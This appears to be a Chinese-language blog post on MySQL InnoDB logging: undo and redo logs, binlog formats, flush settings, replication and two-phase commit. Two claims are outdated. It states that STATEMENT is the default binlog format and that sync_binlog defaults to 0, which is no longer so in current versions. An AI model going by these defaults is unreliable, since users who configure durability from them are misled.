undo log 和数据页的刷盘策略是一样的,都需要通过 redo log 保证持久化。产生undo日志的时候,同样会伴随类似于保护事务持久化机制的redolog的产生。

buffer pool 中有 undo 页,对 undo 页的修改也都会记录到 redo log。redo log 会每秒刷盘,提交事务时也会刷盘,数据页和 undo 页都是靠这个机制保证持久化的,具体看下面内容。

重做日志(redo log)

作用

  • 确保事务的持久性。
    • 为了防止断电导致数据丢失的问题,当有一条记录需要更新的时候,InnoDB 引擎就会先更新内存(同时标记为脏页),然后将本次对这个页的修改以 redo log 的形式记录下来,这个时候更新就算完成了。也就是说, redo log 是为了防止 Buffer Pool 中的脏页丢失而设计的。
    • 在重启mysql服务的时候,根据redo log进行重做,从而达到事务的持久性这一特性。
  • 将写操作从「随机写」变成了「顺序写」,提升 MySQL 写入磁盘的性能。

内容

物理格式的日志,记录的是物理数据页面的修改的信息,其 redo log 是顺序写入redo log file 的物理文件中去的。同时,在内存修改 Undo log 后,也需要记录undo log对应的 redo log。

redo log 和 undo log 区别:

  • redo log 记录了此次事务
    完成后
    的数据状态,记录的是更新之后的值;
  • undo log 记录了此次事务
    开始前
    的数据状态,记录的是更新之前的值;

什么时候产生

事务开始之后就产生redo log,redo log的落盘并不是随着事务的提交才写入的,而是在事务的执行过程中,便开始写入redo log文件中。

事务提交之前发生了崩溃,重启后会通过 undo log 回滚事务,事务提交之后发生了崩溃,重启后会通过 redo log 恢复事务,如下图:

redo log 要写到磁盘,数据也要写磁盘,为什么要多此一举?

写入 redo log 的方式使用了追加操作, 所以磁盘操作是顺序写,而写入数据需要先找到写入位置,然后才写到磁盘,所以磁盘操作是随机写。磁盘的「顺序写 」比「随机写」 高效的多,因此 redo log 写入磁盘的开销更小。

什么时候刷盘

实际上, 执行一个事务的过程中,产生的 redo log 也不是直接写入磁盘的,因为这样会产生大量的 I/O 操作,而且磁盘的运行速度远慢于内存。

redo log有一个缓存区 Innodb_log_buffer,Innodb_log_buffer 的默认大小为 16M,每当产生一条 redo log 时,会先写入到 redo log buffer,后续再持久化到磁盘。

然后会通过以下三种方式将innodb log buffer的日志刷新到磁盘:

  • MySQL 正常关闭时;
  • 当 redo log buffer 中记录的写入量大于 redo log buffer 内存空间的一半时,会触发落盘;
  • InnoDB 的后台线程每隔 1 秒,将 redo log buffer 持久化到磁盘。
  • 每次事务提交时都将缓存在 redo log buffer 里的 redo log 直接持久化到磁盘。

因此redo log buffer的写盘,并不一定是随着事务的提交才写入redo log文件的,而是随着事务的开始,逐步开始的。

即使某个事务还没有提交,Innodb存储引擎仍然每秒会将redo log buffer刷新到redo log文件。

这一点是必须要知道的,因为这可以很好地解释再大的事务的提交(commit)的时间也是很短暂的。

redolog的文件

两个 redo 日志的文件名叫 :ib_logfile0 和 ib_logfile1。

redo log文件组是以循环写的方式工作的, InnoDB 存储引擎会先写 ib_logfile0 文件,当 ib_logfile0 文件被写满的时候,会切换至 ib_logfile1 文件,当 ib_logfile1 文件也被写满时,会切换回 ib_logfile0 文件;相当于一个环形。

  • write pos 和 checkpoint 的移动都是顺时针方向;
  • write pos ~ checkpoint 之间的部分(图中的红色部分),用来记录新的更新操作;
  • check point ~ write pos 之间的部分(图中蓝色部分):待落盘的脏数据页记录;

因此,如果 write pos 追上了 checkpoint,就意味着 redo log 文件满了,这时 MySQL 不能再执行新的更新操作,也就是说 MySQL 会被阻塞

二进制日志(binlog)

作用

  • 用于复制,在主从复制中,从库利用主库上的binlog进行重放,实现主从同步。
  • 用于数据库的基于时间点的还原,即备份恢复

内容

binlog 有 3 种格式类型,分别是 STATEMENT(默认格式)、ROW、 MIXED,区别如下:

  • STATEMENT:每一条修改数据的 SQL 都会被记录到 binlog 中(相当于记录了逻辑操作,所以针对这种格式, binlog 可以称为逻辑日志),主从复制中 slave 端再根据 SQL 语句重现。但 STATEMENT 有动态函数的问题,比如你用了 uuid 或者 now 这些函数,你在主库上执行的结果并不是你在从库执行的结果,这种随时在变的函数会导致复制的数据不一致;
  • ROW:记录行数据最终被修改成什么样了(这种格式的日志,就不能称为逻辑日志了),不会出现 STATEMENT 下动态函数的问题。但 ROW 的缺点是每行数据的变化结果都会被记录,比如执行批量 update 语句,更新多少行数据就会产生多少条记录,使 binlog 文件过大,而在 STATEMENT 格式下只会记录一个 update 语句而已;
  • MIXED:包含了 STATEMENT 和 ROW 模式,它会根据不同的情况自动使用 ROW 模式和 STATEMENT 模式;

注意:不同的日志类型在主从复制下除了有动态函数的问题,同样对对更新时间也有影响。一般来说,数据库中的update_time都会设置成ON UPDATE CURRENT_TIMESTAMP,即自动更新时间戳列。在主从复制下,
如果日志格式类型是STATEMENT,由于记录的是sql语句,在salve端是进行语句重放,那么更新时间也是重放时的时间,此时slave会有时间延迟的问题;
如果日志格式类型是ROW,这是记录行数据最终被修改成什么样了,这种从库的数据是与主服务器完全一致的。

什么时候产生

事务
提交的时候
,一次性将事务中的sql语句(一个事物可能对应多个sql语句)按照一定的格式记录到binlog中。

binlog 文件是记录了所有数据库表结构变更和表数据修改的日志,不会记录查询类的操作,比如 SELECT 和 SHOW 操作。

这里与redo log很明显的差异就是binlog 是追加写,写满一个文件,就创建一个新的文件继续写,不会覆盖以前的日志,保存的是全量的日志。redo log 是循环写,日志空间大小是固定,全部写满就从头开始,保存未被刷入磁盘的脏页日志。

也就是说,如果不小心整个数据库的数据被删除了,只能使用 bin log 文件恢复数据。因为redo log循环写会擦除数据。

主从复制的实现

MySQL 的主从复制依赖于 binlog ,也就是记录 MySQL 上的所有变化并以二进制形式保存在磁盘上。复制的过程就是将 binlog 中的数据从主库传输到从库上。

这个过程一般是异步的,也就是主库上执行事务操作的线程不会等待复制 binlog 的线程同步完成。

MySQL 集群的主从复制过程如下:

  • 写入 Binlog:MySQL 主库在收到客户端提交事务的请求之后,会先写入 binlog,再提交事务,更新存储引擎中的数据,事务提交完成后,返回给客户端“操作成功”的响应。
  • 同步 Binlog:从库会创建一个专门的 I/O 线程,连接主库的 log dump 线程,来接收主库的 binlog 日志,再把 binlog 信息写入 relay log 的中继日志里,再返回给主库“复制成功”的响应。
  • 回放 Binlog:从库会创建一个用于回放 binlog 的线程,去读 relay log 中继日志,然后回放 binlog 更新存储引擎中的数据,最终实现主从的数据一致性。

什么时候刷盘

在刷盘时机上与redolog不一样,redolog即使事务没提交,也可以每隔1秒就刷盘。但是一个事务的 binlog 是不能被拆开的,因此无论这个事务有多大(比如有很多条语句),也要保证一次性写入。如果一个事务的 binlog 被拆开的时候,在备库执行就会被当做多个事务分段自行,这样就破坏了原子性,是有问题的。

bin log日志与redo log类似,也有对应的缓存,叫 binlog cache。事务提交的时候,再把 binlog cache 写到 binlog 文件中。

  • 图中的 write,指的就是指把日志写入到 binlog 文件,但是并没有把数据持久化到磁盘,因为数据还缓存在文件系统的 page cache 里,write 的写入速度还是比较快的,因为不涉及磁盘 I/O。
  • 图中的 fsync,才是将数据持久化到磁盘的操作,这里就会涉及磁盘 I/O,所以频繁的 fsync 会导致磁盘的 I/O 升高。

MySQL提供一个 sync_binlog 参数来控制数据库的 binlog 刷到磁盘上的频率:

  • sync_binlog = 0 的时候,表示每次提交事务都只 write,不 fsync,后续交由操作系统决定何时将数据持久化到磁盘;
  • sync_binlog = 1 的时候,表示每次提交事务都会 write,然后马上执行 fsync;
  • sync_binlog =N(N>1) 的时候,表示每次提交事务都 write,但累积 N 个事务后才 fsync。

显然,在MySQL中系统默认的设置是 sync_binlog = 0,也就是不做任何强制性的磁盘刷新指令,这时候的性能是最好的,但是风险也是最大的。因为一旦主机发生异常重启,还没持久化到磁盘的数据就会丢失。

而当 sync_binlog 设置为 1 的时候,是最安全但是性能损耗最大的设置。因为当设置为 1 的时候,即使主机发生异常重启,最多丢失一个事务的 binlog,而已经持久化到磁盘的数据就不会有影响,不过就是对写入性能影响太大。

如果能容少量事务的 binlog 日志丢失的风险,为了提高写入的性能,一般会 sync_binlog 设置为 100~1000 中的某个数值。

两阶段提交

事务提交后,redo log 和 binlog 都要持久化到磁盘,但是这两个是独立的逻辑,可能出现半成功的状态,这样就造成两份日志之间的逻辑不一致。如下:

  1. 如果在将 redo log 刷入到磁盘之后, MySQL 突然宕机了,而 binlog 还没有来得及写入。那么机器重启后,这台机器会通过redo log恢复数据,但是这个时候binlog并没有记录该数据,后续进行机器备份的时候,就会丢失这一条数据,同时主从同步也会丢失这一条数据。
  2. 如果在将 binlog 刷入到磁盘之后, MySQL 突然宕机了,而 redo log 还没有来得及写入。由于 redo log 还没写,崩溃恢复以后这个事务无效,而 binlog 里面记录了这条更新语句,在主从架构中,binlog 会被复制到从库,从库执行了这条更新语句,那么就与主库的值不一致性;

两阶段提交把单个事务的提交拆分成了 2 个阶段,分别是「准备(Prepare)阶段」和「提交(Commit)阶段」

具体过程


事务的提交过程有两个阶段,就是将 redo log 的写入拆成了两个步骤:prepare 和 commit,中间再穿插写入binlog,具体如下:

  • prepare 阶段:将 XID(内部 XA 事务的 ID) 写入到 redo log,同时将 redo log 对应的事务状态设置为 prepare,然后将 redo log 持久化到磁盘(innodb_flush_log_at_trx_commit = 1 的作用);
  • commit 阶段:把 XID 写入到 binlog,然后将 binlog 持久化到磁盘(sync_binlog = 1 的作用),接着调用引擎的提交事务接口,将 redo log 状态设置为 commit,此时该状态并不需要持久化到磁盘,只需要 write 到文件系统的 page cache 中就够了,因为只要 binlog 写磁盘成功,就算 redo log 的状态还是 prepare 也没有关系,一样会被认为事务已经执行成功;

总的来说就是,事务提交后,redo log变成prepare 阶段,再写入binlog,返回成功后redo log 进入commit 阶段。

总结三个日志的具体流程

当优化器分析出成本最小的执行计划后,执行器就按照执行计划开始进行更新操作。

具体更新一条记录 UPDATE t_user SET name = 'xiaolin' WHERE id = 1; 的流程如下:

  1. 检查在不在buffer Pool。 执行器负责具体执行,会调用存储引擎的接口,通过主键索引树搜索获取 id = 1 这一行记录:
    • 如果 id=1 这一行所在的数据页本来就在 buffer pool 中,就直接返回给执行器更新;
    • 如果记录不在 buffer pool,将数据页从磁盘读入到 buffer pool,返回记录给执行器。
  2. 检查是否已经是要更新的值。执行器得到聚簇索引记录后,会看一下更新前的记录和更新后的记录是否一样:
    • 如果一样的话就不进行后续更新流程;
    • 如果不一样的话就把更新前的记录和更新后的记录都当作参数传给 InnoDB 层,让 InnoDB 真正的执行更新记录的操作;
  3. 开启事务,记录undo log,并记录修改undo log对应的redo log:开启事务, InnoDB 层更新记录前,首先要记录相应的 undo log,因为这是更新操作,需要把被更新的列的旧值记下来,也就是要生成一条 undo log,undo log 会写入 Buffer Pool 中的 Undo 页面,不过在内存修改该 Undo 页面后,需要记录对应的 redo log。
  4. 标记为脏页,并写入redo log:InnoDB 层开始更新记录,会先更新内存(同时标记为脏页),然后将记录写到 redo log 里面,这个时候更新就算完成了。为了减少磁盘I/O,不会立即将脏页写入磁盘,后续由后台线程选择一个合适的时机将脏页写入到磁盘。这就是 WAL 技术,MySQL 的写操作并不是立刻写到磁盘上,而是先写 redo 日志,然后在合适的时间再将修改的行数据写到磁盘上。
  5. 至此,一条记录更新完了。
  6. 记录binlog:在一条更新语句执行完成后,然后开始记录该语句对应的 binlog,此时记录的 binlog 会被保存到 binlog cache,并没有刷新到硬盘上的 binlog 文件,在事务提交时才会统一将该事务运行过程中的所有 binlog 刷新到硬盘。
  7. 事务提交,redo log和binlog刷盘。

面试题专栏

Java面试题专栏
已上线,欢迎访问。

  • 如果你不知道简历怎么写,简历项目不知道怎么包装;
  • 如果简历中有些内容你不知道该不该写上去;
  • 如果有些综合性问题你不知道怎么答;

那么可以私信我,我会尽我所能帮助你。